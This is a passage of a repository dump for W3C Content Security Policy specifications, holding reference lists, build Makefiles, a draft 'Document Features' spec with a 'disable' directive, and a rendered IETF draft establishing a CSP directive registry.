href=\"https://w3c.github.io/webappsec/specs/content-security-policy/\">https://w3c.github.io/webappsec/specs/content-security-policy/</a>\n   <dt id=\"biblio-html5\"><a class=\"self-link\" href=\"#biblio-html5\"></a>[HTML5]\n   <dd>Ian Hickson; et al. <a href=\"http://www.w3.org/TR/html5/\">HTML5</a>. 28 October 2014. REC. URL: <a href=\"http://www.w3.org/TR/html5/\">http://www.w3.org/TR/html5/</a>\n   <dt id=\"biblio-rfc2119\"><a class=\"self-link\" href=\"#biblio-rfc2119\"></a>[RFC2119]\n   <dd>S. Bradner. <a href=\"https://tools.ietf.org/html/rfc2119\">Key words for use in RFCs to Indicate Requirement Levels</a>. March 1997. Best Current Practice. URL: <a href=\"https://tools.ietf.org/html/rfc2119\">https://tools.ietf.org/html/rfc2119</a>\n   <dt id=\"biblio-rfc5234\"><a class=\"self-link\" href=\"#biblio-rfc5234\"></a>[RFC5234]\n   <dd>D. Crocker, Ed.; P. Overell. <a href=\"https://tools.ietf.org/html/rfc5234\">Augmented BNF for Syntax Specifications: ABNF</a>. January 2008. Internet Standard. URL: <a href=\"https://tools.ietf.org/html/rfc5234\">https://tools.ietf.org/html/rfc5234</a>\n   <dt id=\"biblio-rfc6265\"><a class=\"self-link\" href=\"#biblio-rfc6265\"></a>[RFC6265]\n   <dd>A. Barth. <a href=\"https://tools.ietf.org/html/rfc6265\">HTTP State Management Mechanism</a>. April 2011. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc6265\">https://tools.ietf.org/html/rfc6265</a>\n   <dt id=\"biblio-rfc6454\"><a class=\"self-link\" href=\"#biblio-rfc6454\"></a>[RFC6454]\n   <dd>A. Barth. <a href=\"https://tools.ietf.org/html/rfc6454\">The Web Origin Concept</a>. December 2011. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc6454\">https://tools.ietf.org/html/rfc6454</a>\n   <dt id=\"biblio-rfc7230\"><a class=\"self-link\" href=\"#biblio-rfc7230\"></a>[RFC7230]\n   <dd>R. Fielding, Ed.; J. Reschke, Ed.. <a href=\"https://tools.ietf.org/html/rfc7230\">Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</a>. June 2014. Proposed Standard. URL: <a href=\"https://tools.ietf.org/html/rfc7230\">https://tools.ietf.org/html/rfc7230</a>\n   <dt id=\"biblio-url\"><a class=\"self-link\" href=\"#biblio-url\"></a>[URL]\n   <dd>Anne van Kesteren; Sam Ruby. <a href=\"http://www.w3.org/TR/url-1/\">URL</a>. 9 December 2014. WD. URL: <a href=\"http://www.w3.org/TR/url-1/\">http://www.w3.org/TR/url-1/</a>\n  </dl>\n  <h3 class=\"no-num heading settled\" id=\"informative\"><span class=\"content\">Informative References</span><a class=\"self-link\" href=\"#informative\"></a></h3>\n  <dl>\n   <dt id=\"biblio-csp-pinning\"><a class=\"self-link\" href=\"#biblio-csp-pinning\"></a>[CSP-PINNING]\n   <dd>Mike West. <a href=\"https://w3c.github.io/webappsec/specs/csp-pinning/\">Content Security Policy: Pinning</a>. FPWD. URL: <a href=\"https://w3c.github.io/webappsec/specs/csp-pinning/\">https://w3c.github.io/webappsec/specs/csp-pinning/</a>\n   <dt id=\"biblio-yummy-cookies\"><a class=\"self-link\" href=\"#biblio-yummy-cookies\"></a>[YUMMY-COOKIES]\n   <dd>Vincent Marti. <a href=\"https://github.com/blog/1466-yummy-cookies-across-domains\">Yummy cookies across domains</a>. URL: <a href=\"https://github.com/blog/1466-yummy-cookies-across-domains\">https://github.com/blog/1466-yummy-cookies-across-domains</a>\n  </dl>\n  <h2 class=\"no-num heading settled\" id=\"issues-index\"><span class=\"content\">Issues Index</span><a class=\"self-link\" href=\"#issues-index\"></a></h2>\n  <div style=\"counter-reset:issue\">\n   <div class=\"issue\"> Erik Nygren <a href=\"https://lists.w3.org/Archives/Public/public-webappsec/2013Sep/0046.html\">proposed</a> adding <code>path</code> restrictions as well. Is that worthwhile?<a href=\"#issue-6a48c646\"> ↵ </a></div>\n   <div class=\"issue\"> Monkey patching! Hey, maybe it’s time to reopen that cookie RFC after\n  all, eh @mnot? :)<a href=\"#issue-c9a345cb\"> ↵ </a></div>\n   <div class=\"issue\"> We’ll need a mechanism to restrict reading from <code>document.cookie</code>, but I’d like something less specific than <code>cookie-scope disable-dom-access</code> or something similar. The linked GitHub bug is a proposal\n  that’s a bit more general and widely applicable. <a href=\"https://github.com/w3c/webappsec-csp/issues/42\">&lt;https://github.com/w3c/webappsec-csp/issues/42></a><a href=\"#issue-00d10186\"> ↵ </a></div>\n  </div>\n </body>\n</html>"
  },
  {
    "path": "document/Makefile",
    "content": "all: index.html\n\nforce:\n\tbikeshed -f spec ./index.src.html\n\nindex.html: index.src.html\n\tbikeshed -f spec ./index.src.html\n\nFPWD:\n\tbikeshed -f spec --md-status=FPWD --md-date=2015-12-15 ./index.src.html ./published/FPWD.html \n\npublish:\n\tgit push origin master master:gh-pages\n"
  },
  {
    "path": "document/index.bs",
    "content": "<h1>Content Security Policy: Document Features</h1>\n<pre class=\"metadata\">\nStatus: ED\nED: https://w3c.github.io/webappsec-csp/document/\nShortname: csp-document\nGroup: webappsec\nLevel: 1\nEditor: Mike West 56384, Google Inc., mkwst@google.com\nAbstract:\n  This document defines a number of Content Security Policy directives which\n  allow developers to lock down particular features of a Document (or Worker)\n  environment.\nVersion History: https://github.com/w3c/webappsec-csp/commits/master/document/index.src.html\n!Participate: <a href=\"https://github.com/w3c/webappsec-csp/issues/new\">File an issue</a> (<a href=\"https://github.com/w3c/webappsec-csp/issues\">open issues</a>)\nIndent: 2\nMarkup Shorthands: css off, markdown on\nBoilerplate: omit conformance, omit feedback-header\n</pre>\n<pre class=\"anchors\">\nspec: CSP; urlPrefix: https://w3c.github.io/webappsec-csp\n  type: dfn\n    text: content-security-policy; url: content-security-policy-header-field\n    text: content security policy; url: security-policy\n    text: content-security-policy-report-only; url: content-security-policy-report-only-header-field\n    text: parse a serialized policy; url: parse-serialized-policy \n    text: policy\n    text: directive set; for: policy\n    text: disposition; for: policy\n    text: CSP list; for: global object; url: global-object-csp-list\n    text: source lists\n    text: directive\n    for: directive\n      text: name\n      text: value\n      text: pre-request check\n      text: post-request check\n      text: response check\n      text: initialization\n    for: violation\n      text: resource; url: violation-resource\n  type: grammar\n    text: serialized-policy; url: grammardef-serialized-policy\n    text: serialized-source-list; url: grammardef-serialized-source-list\n    text: 'none'; url: grammardef-none\n    text: 'self'; url: grammardef-self\n    text: host-source; url: grammardef-host-source\n    text: scheme-source; url: grammardef-scheme-source\nspec: FETCH; urlPrefix: https://fetch.spec.whatwg.org/\n  type: dfn\n    text: request; url: concept-request\n    for: request\n      text: target browsing context; url: concept-request-target-browsing-context\n      text: destination; url: concept-request-destination\n    text: response; url: concept-response\n    text: CSP list; for: response; url: concept-response-policy-list\nspec: HTML; urlPrefix: https://html.spec.whatwg.org/\n  type: dfn\n    text: navigate\n    text: active document\n    text: ancestor browsing context\n    text: browsing context\n    text: nested browsing context\n    text: browsing context container\n    text: set the frozen base url\n    text: global object\n    text: forced sandboxing flag set\n    text: parse a sandboxing directive\n    text: initialising a new document object; url: initialise-the-document-object\n    text: CSP list; for: document; url: concept-document-csp-list\n    text: sandboxed scripts browsing context flag\n    text: sandboxed origin browsing context flag\n  type: element\n    text: frame\nspec: URL; urlPrefix: https://url.spec.whatwg.org/\n  type: dfn\n    text: URL parser; url: concept-url-parser\n  type: interface\n    text: URL; url: concept-url\nspec: RFC6454; urlPrefix: https://tools.ietf.org/html/rfc6454\n  type: dfn\n    text: unicode serialization; url: section-6.1\nspec: RFC7230; urlPrefix: https://tools.ietf.org/html/rfc7230\n  type: grammar\n    text: RWS; url: section-3.2.3\n    text: token; url: section-3.2.6\n</pre>\n<pre class=\"biblio\">\n{\n  \"CSP-DIRECTIVE-REGISTRY\": {\n    \"authors\": [ \"Mike West\" ],\n    \"href\": \"https://tools.ietf.org/html/draft-west-webappsec-csp-reg\",\n    \"title\": \"Initial Assignment for a Content Security Policy Directive Registry\",\n    \"publisher\": \"IETF\"\n  }\n}\n</pre>\n<pre class=\"link-defaults\">\nspec:dom-ls; type:interface; text:Document\n</pre>\n<style>\n  ul.toc ul ul ul {\n    margin: 0 0 0 2em;\n  }\n  ul.toc ul ul ul span.secno {\n    margin-left: -9em;\n  }\n</style>\n<!--\n████ ██    ██ ████████ ████████   ███████\n ██  ███   ██    ██    ██     ██ ██     ██\n ██  ████  ██    ██    ██     ██ ██     ██\n ██  ██ ██ ██    ██    ████████  ██     ██\n ██  ██  ████    ██    ██   ██   ██     ██\n ██  ██   ███    ██    ██    ██  ██     ██\n████ ██    ██    ██    ██     ██  ███████\n-->\n<section>\n  <h2 id=\"intro\">Introduction</h2>\n\n  <em>This section is not normative.</em>\n\n  This document defines a module of Content Security Policy which allows\n  developers to lock down properties of the environment in which a policy\n  applies.\n</section>\n\n<section>\n  <h2 id=\"directives\">Directives</h2>\n\n  <h3 id=\"directives-features\">Feature Directives</h3>\n\n\n  <h4 id=\"directive-disable\">`disable`</h4>\n\n  The <dfn>disable</dfn> directive allows a developer to turn off certain\n  features for a {{Document}} or {{Worker}}. The syntax for the directive's\n  name and value is described by the following ABNF:\n\n  <pre dfn-type=\"grammar\" link-type=\"grammar\">\n    directive-name  = \"disable\"\n    directive-value = <a grammar>token</a> *( <a>RWS</a> <a>token</a> )\n  </pre>\n\n  The directive recognizes a number of potential token values:\n\n  * `cookie` disables `document.cookie`\n  * `domain` disables `document.domain`\n  * `geolocation` disables [[GEOLOCATION-API]]\n  * `midi` disables [[WEBMIDI]]\n  * `notifications` disables [[NOTIFICATIONS]]\n  * `push` disables [[PUSH-API]]\n  * `webrtc` disables [[WEBRTC]]\n\n  ISSUE: Moar. Also, do we need an `enable` counterpart to whitelist rather than\n  blacklist?\n\n  ISSUE: Define an algorithm and monkey-patch the relevant specs.\n\n\n  <h3 id=\"directives-navigation\">Navigation Directives</h3>\n\n</section>\n\n<section>\n  <h2 id=\"integrations\">Integrations</h2>\n\n  <h3 id=\"html-integration\">Integration with HTML</h3>\n\n  1.  [[#allow-base-for-document]] is called during <{base}>'s <a>set the frozen\n      base URL</a> algorithm to ensure that the <{base/href}> attribute's value\n      is valid.\n\n      ISSUE: Need to add this to HTML.\n\n</section>\n\n<section>\n  <h2 id=\"security-considerations\">Security Considerations</h2>\n\n  TODO.\n</section>\n\n<section>\n  <h2 id=\"privacy-considerations\">Privacy Considerations</h2>\n\n  <h3 id=\"ancestor-origin-leakage\">Ancestor Origin Leakage</h3>\n\n  The <a>`frame-ancestors`</a> directive allows a resource to gain knowlege of\n  its ancestors' origins through brute force. \n</section>\n\n<section>\n  <h2 id=\"iana-considerations\">IANA Considerations</h2>\n\n  The Content Security Policy Directive registry should be updated with the\n  following directives and references [[!CSP-DIRECTIVE-REGISTRY]]:\n\n  :   <a>`base-uri`</a>\n  ::  This document (see [[#directive-base-uri]])\n  :   <a>`form-action`</a>\n  ::  This document (see [[#directive-form-action]])\n  :   <a>`frame-ancestors`</a>\n  ::  This document (see [[#directive-frame-ancestors]])\n  :   <a>`plugin-types`</a>\n  ::  This document (see [[#directive-plugin-types]])\n  :   <a>`sandbox`</a>\n  ::  This document (see [[#directive-sandbox]])\n</section>\n"
  },
  {
    "path": "iana/Makefile",
    "content": "id_base = ..\nxml2rfc ?= xml2rfc\nkramdown-rfc2629 ?= kramdown-rfc2629\nidnits ?= idnits\n\ntitle = west-webappsec-csp-reg\nlatest = $(shell (ls draft-${title}-*.txt || echo \"draft-${title}-00.txt\") | sort | tail -1)\nversion = $(shell basename ${latest} .txt | awk -F- '{print $$NF}')\n\ntarget = draft-$(title)-$(version)\nprev = draft-$(title)-$(shell printf \"%.2d\" `echo ${version}-1 | bc`)\nnext = draft-$(title)-$(shell printf \"%.2d\" `echo ${version}+1 | bc`)\n\n.PHONY: latest clean next diff idnits update\n\nlatest: $(target).html $(target).txt\n\nclean:\n\trm -f $(target).html $(target).txt\n\nnext:\n\tcp $(target).txt $(next).txt\n\tsed -i '' -e\"s/$(target)/$(next)/\" draft.md\n\ndiff:\n\trfcdiff $(prev).txt $(target).txt\n\nidnits: $(target).txt\n\t$(idnits) $<\n\n%.xml: draft.md\n\t$(kramdown-rfc2629) $< > $@\n\n%.html: %.xml\n\t$(xml2rfc) --html $< $@\n\n%.txt: %.xml\n\t$(xml2rfc) $< $@\n\nupdate:\n\tcp $(id_base)/Tools/skel/Makefile .\n"
  },
  {
    "path": "iana/draft-west-webappsec-csp-reg-00.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \n  \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\n<html lang=\"en\" xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n<head profile=\"http://www.w3.org/2006/03/hcard http://dublincore.org/documents/2008/08/04/dc-html/\">\n  <meta http-equiv=\"Content-Type\" content=\"text/html; charset=us-ascii\" />\n\n  <title>Content Security Policy Directive Registry</title>\n\n  <style type=\"text/css\" title=\"Xml2Rfc (sans serif)\">\n  /*<![CDATA[*/\n\t  a {\n\t  text-decoration: none;\n\t  }\n      /* info code from SantaKlauss at http://www.madaboutstyle.com/tooltip2.html */\n      a.info {\n          /* This is the key. */\n          position: relative;\n          z-index: 24;\n          text-decoration: none;\n      }\n      a.info:hover {\n          z-index: 25;\n          color: #FFF; background-color: #900;\n      }\n      a.info span { display: none; }\n      a.info:hover span.info {\n          /* The span will display just on :hover state. */\n          display: block;\n          position: absolute;\n          font-size: smaller;\n          top: 2em; left: -5em; width: 15em;\n          padding: 2px; border: 1px solid #333;\n          color: #900; background-color: #EEE;\n          text-align: left;\n      }\n\t  a.smpl {\n\t  color: black;\n\t  }\n\t  a:hover {\n\t  text-decoration: underline;\n\t  }\n\t  a:active {\n\t  text-decoration: underline;\n\t  }\n\t  address {\n\t  margin-top: 1em;\n\t  margin-left: 2em;\n\t  font-style: normal;\n\t  }\n\t  body {\n\t  color: black;\n\t  font-family: verdana, helvetica, arial, sans-serif;\n\t  font-size: 10pt;\n\t  max-width: 55em;\n\t  \n\t  }\n\t  cite {\n\t  font-style: normal;\n\t  }\n\t  dd {\n\t  margin-right: 2em;\n\t  }\n\t  dl {\n\t  margin-left: 2em;\n\t  }\n\t\n\t  ul.empty {\n\t  list-style-type: none;\n\t  }\n\t  ul.empty li {\n\t  margin-top: .5em;\n\t  }\n\t  dl p {\n\t  margin-left: 0em;\n\t  }\n\t  dt {\n\t  margin-top: .5em;\n\t  }\n\t  h1 {\n\t  font-size: 14pt;\n\t  line-height: 21pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h1.np {\n\t  page-break-before: always;\n\t  }\n\t  h1 a {\n\t  color: #333333;\n\t  }\n\t  h2 {\n\t  font-size: 12pt;\n\t  line-height: 15pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h3, h4, h5, h6 {\n\t  font-size: 10pt;\n\t  page-break-after: avoid;\n\t  }\n\t  h2 a, h3 a, h4 a, h5 a, h6 a {\n\t  color: black;\n\t  }\n\t  img {\n\t  margin-left: 3em;\n\t  }\n\t  li {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  ol {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  ol p {\n\t  margin-left: 0em;\n\t  }\n\t  p {\n\t  margin-left: 2em;\n\t  margin-right: 2em;\n\t  }\n\t  pre {\n\t  margin-left: 3em;\n\t  background-color: lightyellow;\n\t  padding: .25em;\n\t  }\n\t  pre.text2 {\n\t  border-style: dotted;\n\t  border-width: 1px;\n\t  background-color: #f0f0f0;\n\t  width: 69em;\n\t  }\n\t  pre.inline {\n\t  background-color: white;\n\t  padding: 0em;\n\t  }\n\t  pre.text {\n\t  border-style: dotted;\n\t  border-width: 1px;\n\t  background-color: #f8f8f8;\n\t  width: 69em;\n\t  }\n\t  pre.drawing {\n\t  border-style: solid;\n\t  border-width: 1px;\n\t  background-color: #f8f8f8;\n\t  padding: 2em;\n\t  }\n\t  table {\n\t  margin-left: 2em;\n\t  }\n\t  table.tt {\n\t  vertical-align: top;\n\t  }\n\t  table.full {\n\t  border-style: outset;\n\t  border-width: 1px;\n\t  }\n\t  table.headers {\n\t  border-style: outset;\n\t  border-width: 1px;\n\t  }\n\t  table.tt td {\n\t  vertical-align: top;\n\t  }\n\t  table.full td {\n\t  border-style: inset;\n\t  border-width: 1px;\n\t  }\n\t  table.tt th {\n\t  vertical-align: top;\n\t  }\n\t  table.full th {\n\t  border-style: inset;\n\t  border-width: 1px;\n\t  }\n\t  table.headers th {\n\t  border-style: none none inset none;\n\t  border-width: 1px;\n\t  }\n\t  table.left {\n\t  margin-right: auto;\n\t  }\n\t  table.right {\n\t  margin-left: auto;\n\t  }\n\t  table.center {\n\t  margin-left: auto;\n\t  margin-right: auto;\n\t  }\n\t  caption {\n\t  caption-side: bottom;\n\t  font-weight: bold;\n\t  font-size: 9pt;\n\t  margin-top: .5em;\n\t  }\n\t\n\t  table.header {\n\t  border-spacing: 1px;\n\t  width: 95%;\n\t  font-size: 10pt;\n\t  color: white;\n\t  }\n\t  td.top {\n\t  vertical-align: top;\n\t  }\n\t  td.topnowrap {\n\t  vertical-align: top;\n\t  white-space: nowrap; \n\t  }\n\t  table.header td {\n\t  background-color: gray;\n\t  width: 50%;\n\t  }\n\t  table.header a {\n\t  color: white;\n\t  }\n\t  td.reference {\n\t  vertical-align: top;\n\t  white-space: nowrap;\n\t  padding-right: 1em;\n\t  }\n\t  thead {\n\t  display:table-header-group;\n\t  }\n\t  ul.toc, ul.toc ul {\n\t  list-style: none;\n\t  margin-left: 1.5em;\n\t  margin-right: 0em;\n\t  padding-left: 0em;\n\t  }\n\t  ul.toc li {\n\t  line-height: 150%;\n\t  font-weight: bold;\n\t  font-size: 10pt;\n\t  margin-left: 0em;\n\t  margin-right: 0em;\n\t  }\n\t  ul.toc li li {\n\t  line-height: normal;\n\t  font-weight: normal;\n\t  font-size: 9pt;\n\t  margin-left: 0em;\n\t  margin-right: 0em;\n\t  }\n\t  li.excluded {\n\t  font-size: 0pt;\n\t  }\n\t  ul p {\n\t  margin-left: 0em;\n\t  }\n\t\n\t  .comment {\n\t  background-color: yellow;\n\t  }\n\t  .center {\n\t  text-align: center;\n\t  }\n\t  .error {\n\t  color: red;\n\t  font-style: italic;\n\t  font-weight: bold;\n\t  }\n\t  .figure {\n\t  font-weight: bold;\n\t  text-align: center;\n\t  font-size: 9pt;\n\t  }\n\t  .filename {\n\t  color: #333333;\n\t  font-weight: bold;\n\t  font-size: 12pt;\n\t  line-height: 21pt;\n\t  text-align: center;\n\t  }\n\t  .fn {\n\t  font-weight: bold;\n\t  }\n\t  .hidden {\n\t  display: none;\n\t  }\n\t  .left {\n\t  text-align: left;\n\t  }\n\t  .right {\n\t  text-align: right;\n\t  }\n\t  .title {\n\t  color: #990000;\n\t  font-size: 18pt;\n\t  line-height: 18pt;\n\t  font-weight: bold;\n\t  text-align: center;\n\t  margin-top: 36pt;\n\t  }\n\t  .vcardline {\n\t  display: block;\n\t  }\n\t  .warning {\n\t  font-size: 14pt;\n\t  background-color: yellow;\n\t  }\n\t\n\t\n\t  @media print {\n\t  .noprint {\n\t\tdisplay: none;\n\t  }\n\t\n\t  a {\n\t\tcolor: black;\n\t\ttext-decoration: none;\n\t  }\n\t\n\t  table.header {\n\t\twidth: 90%;\n\t  }\n\t\n\t  td.header {\n\t\twidth: 50%;\n\t\tcolor: black;\n\t\tbackground-color: white;\n\t\tvertical-align: top;\n\t\tfont-size: 12pt;\n\t  }\n\t\n\t  ul.toc a::after {\n\t\tcontent: leader('.') target-counter(attr(href), page);\n\t  }\n\t\n\t  ul.ind li li a {\n\t\tcontent: target-counter(attr(href), page);\n\t  }\n\t\n\t  .print2col {\n\t\tcolumn-count: 2;\n\t\t-moz-column-count: 2;\n\t\tcolumn-fill: auto;\n\t  }\n\t  }\n\t\n\t  @page {\n\t  @top-left {\n\t\t   content: \"Internet-Draft\"; \n\t  } \n\t  @top-right {\n\t\t   content: \"December 2010\"; \n\t  } \n\t  @top-center {\n\t\t   content: \"Abbreviated Title\";\n\t  } \n\t  @bottom-left {\n\t\t   content: \"Doe\"; \n\t  } \n\t  @bottom-center {\n\t\t   content: \"Expires June 2011\"; \n\t  } \n\t  @bottom-right {\n\t\t   content: \"[Page \" counter(page) \"]\"; \n\t  } \n\t  }\n\t\n\t  @page:first { \n\t\t@top-left {\n\t\t  content: normal;\n\t\t}\n\t\t@top-right {\n\t\t  content: normal;\n\t\t}\n\t\t@top-center {\n\t\t  content: normal;\n\t\t}\n\t  }\n  /*]]>*/\n  </style>\n\n  <link href=\"#rfc.toc\" rel=\"Contents\"/>\n<link href=\"#rfc.section.1\" rel=\"Chapter\" title=\"1 Introduction\"/>\n<link href=\"#rfc.section.2\" rel=\"Chapter\" title=\"2 Terminology\"/>\n<link href=\"#rfc.section.3\" rel=\"Chapter\" title=\"3 Use of the Registry\"/>\n<link href=\"#rfc.section.4\" rel=\"Chapter\" title=\"4 IANA Considerations\"/>\n<link href=\"#rfc.section.4.1\" rel=\"Chapter\" title=\"4.1 Content Security Policy directives Registry\"/>\n<link href=\"#rfc.section.4.2\" rel=\"Chapter\" title=\"4.2 Registration Policy for Content Security Policy directives\"/>\n<link href=\"#rfc.section.5\" rel=\"Chapter\" title=\"5 Security Considerations\"/>\n<link href=\"#rfc.references\" rel=\"Chapter\" title=\"6 References\"/>\n<link href=\"#rfc.references.1\" rel=\"Chapter\" title=\"6.1 Normative References\"/>\n<link href=\"#rfc.references.2\" rel=\"Chapter\" title=\"6.2 Informative References\"/>\n<link href=\"#rfc.appendix.A\" rel=\"Chapter\" title=\"A Acknowledgements\"/>\n<link href=\"#rfc.authors\" rel=\"Chapter\"/>\n\n\n  <meta name=\"generator\" content=\"xml2rfc version 2.4.7 - http://tools.ietf.org/tools/xml2rfc\" />\n  <link rel=\"schema.dct\" href=\"http://purl.org/dc/terms/\" />\n\n  <meta name=\"dct.creator\" content=\"West, M.\" />\n  <meta name=\"dct.identifier\" content=\"urn:ietf:id:draft-west-webappsec-csp-reg-00\" />\n  <meta name=\"dct.issued\" scheme=\"ISO8601\" content=\"2015-10-6\" />\n  <meta name=\"dct.abstract\" content=\"This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.\" />\n  <meta name=\"description\" content=\"This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.\" />\n\n</head>\n\n<body>\n\n  <table class=\"header\">\n    <tbody>\n    \n    \t<tr>\n  <td class=\"left\">Network Working Group</td>\n  <td class=\"right\">M. West</td>\n</tr>\n<tr>\n  <td class=\"left\">Internet-Draft</td>\n  <td class=\"right\">Google, Inc</td>\n</tr>\n<tr>\n  <td class=\"left\">Intended status: Standards Track</td>\n  <td class=\"right\">October 6, 2015</td>\n</tr>\n<tr>\n  <td class=\"left\">Expires: April 8, 2016</td>\n  <td class=\"right\"></td>\n</tr>\n\n    \t\n    </tbody>\n  </table>\n\n  <p class=\"title\">Content Security Policy Directive Registry<br />\n  <span class=\"filename\">draft-west-webappsec-csp-reg-00</span></p>\n  \n  <h1 id=\"rfc.abstract\">\n  <a href=\"#rfc.abstract\">Abstract</a>\n</h1>\n<p>This document establishes an Internet Assigned Number Authority (IANA) registry for Content Security Policy directives. It populates the registry with the directives defined in the CSP specification.</p>\n<h1 id=\"rfc.status\">\n  <a href=\"#rfc.status\">Status of This Memo</a>\n</h1>\n<p>This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.</p>\n<p>Internet-Drafts are working documents of the Internet Engineering Task Force (IETF).  Note that other groups may also distribute working documents as Internet-Drafts.  The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.</p>\n<p>Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time.  It is inappropriate to use Internet-Drafts as reference material or to cite them other than as \"work in progress.\"</p>\n<p>This Internet-Draft will expire on April 8, 2016.</p>\n<h1 id=\"rfc.copyrightnotice\">\n  <a href=\"#rfc.copyrightnotice\">Copyright Notice</a>\n</h1>\n<p>Copyright (c) 2015 IETF Trust and the persons identified as the document authors.  All rights reserved.</p>\n<p>This document is subject to BCP 78 and the IETF Trust's Legal Provisions Relating to IETF Documents (http://trustee.ietf.org/license-info) in effect on the date of publication of this document.  Please review these documents carefully, as they describe your rights and restrictions with respect to this document.  Code Components extracted from this document must include Simplified BSD License text as described in Section 4.e of the Trust Legal Provisions and are provided without warranty as described in the Simplified BSD License.</p>\n\n  \n  <hr class=\"noprint\" />\n  <h1 class=\"np\" id=\"rfc.toc\"><a href=\"#rfc.toc\">Table of Contents</a></h1>\n  <ul class=\"toc\">\n\n  \t<li>1.   <a href=\"#rfc.section.1\">Introduction</a></li>\n<li>2.   <a href=\"#rfc.section.2\">Terminology</a></li>\n<li>3.   <a href=\"#rfc.section.3\">Use of the Registry</a></li>\n<li>4.   <a href=\"#rfc.section.4\">IANA Considerations</a></li>\n<li>4.1.   <a href=\"#rfc.section.4.1\">Content Security Policy directives Registry</a></li>\n<li>4.2.   <a href=\"#rfc.section.4.2\">Registration Policy for Content Security Policy directives</a></li>\n<li>5.   <a href=\"#rfc.section.5\">Security Considerations</a></li>\n<li>6.   <a href=\"#rfc.references\">References</a></li>\n<li>6.1.   <a href=\"#rfc.references.1\">Normative References</a></li>\n<li>6.2.   <a href=\"#rfc.references.2\">Informative References</a></li>\n<li>Appendix A.   <a href=\"#rfc.appendix.A\">Acknowledgements</a></li>\n<li><a href=\"#rfc.authors\">Author's Address</a></li>\n\n\n  </ul>\n\n  <h1 id=\"rfc.section.1\"><a href=\"#rfc.section.1\">1.</a> <a href=\"#introduction\" id=\"introduction\">Introduction</a></h1>\n<p id=\"rfc.section.1.p.1\">The Content Security Policy specification <a href=\"#CSP\">[CSP]</a> defines a mechanism by which web developers can control the resources which a particular page can fetch or execute, as well as a number of security-relevant policy decisions.</p>\n<p id=\"rfc.section.1.p.2\">The policy language specified in that document consists of an extensible set of &#8220;directives&#8221;, each of which controls a specific resource type or policy decision. This specification establishes a registry to ensure that extensions to CSP are listed and standardized.</p>\n<h1 id=\"rfc.section.2\"><a href=\"#rfc.section.2\">2.</a> <a href=\"#terminology\" id=\"terminology\">Terminology</a></h1>\n<p id=\"rfc.section.2.p.1\">The key words &#8220;MUST&#8221;, &#8220;MUST NOT&#8221;, &#8220;REQUIRED&#8221;, &#8220;SHALL&#8221;, &#8220;SHALL NOT&#8221;, &#8220;SHOULD&#8221;, &#8220;SHOULD NOT&#8221;, &#8220;RECOMMENDED&#8221;, &#8220;MAY&#8221;, and &#8220;OPTIONAL&#8221; in this document are to be interpreted as described in <a href=\"#RFC2119\">[RFC2119]</a>.</p>\n<h1 id=\"rfc.section.3\"><a href=\"#rfc.section.3\">3.</a> <a href=\"#use-of-the-registry\" id=\"use-of-the-registry\">Use of the Registry</a></h1>\n<p id=\"rfc.section.3.p.1\">Content Security Policy directives MUST be documented in a readily available public specification in order to be registered by IANA. This documentation MUST fully explain the syntax, intended usage, and semantics of the directive. The intent of this requirement is to assure interoperable independent implementations, and to prevent accidental namespace collisions between implementations of dissimilar features.</p>\n<p id=\"rfc.section.3.p.2\">Documents defining new Content Security Policy directives MUST register them with IANA, as described in Section 4. The IANA registration policy for such parameters is &#8220;Specification Required, Designated Expert&#8221;, and is further discussed in Section 4.2.</p>\n<h1 id=\"rfc.section.4\"><a href=\"#rfc.section.4\">4.</a> <a href=\"#iana-considerations\" id=\"iana-considerations\">IANA Considerations</a></h1>\n<p id=\"rfc.section.4.p.1\">This specification creates a new IANA registry named &#8220;Content Security Policy directives&#8221;.</p>\n<h1 id=\"rfc.section.4.1\"><a href=\"#rfc.section.4.1\">4.1.</a> <a href=\"#content-security-policy-directives-registry\" id=\"content-security-policy-directives-registry\">Content Security Policy directives Registry</a></h1>\n<p id=\"rfc.section.4.1.p.1\">New Content Security Policy directives, and updates to existing directives, MUST be registered with IANA.</p>\n<p id=\"rfc.section.4.1.p.2\">When registering a new Content Security Policy directive, the following information MUST be provided:</p>\n<p/>\n\n<ul>\n  <li>The directive&#8217;s name (which MUST be an ASCII string)</li>\n  <li>A reference to the readily available public specification defining the new directive&#8217;s syntax, usage, and semantics.</li>\n</ul>\n<p id=\"rfc.section.4.1.p.4\">The following table contains the initial values for this registry:</p>\n<table cellpadding=\"3\" cellspacing=\"0\" class=\"tt full center\">\n  <thead>\n    <tr>\n      <th class=\"left\">Directive Name</th>\n      <th class=\"left\">Reference</th>\n    </tr>\n  </thead>\n  <tbody>\n    <tr>\n      <td class=\"left\">base-uri</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">child-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">connect-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">default-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">font-src</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">form-action</td>\n      <td class=\"left\">\n        <a href=\"#CSP\">[CSP]</a>\n      </td>\n    </tr>\n    <tr>\n      <td class=\"left\">frame-ancestors</td>\n      <td class=\"left\">\n        <a 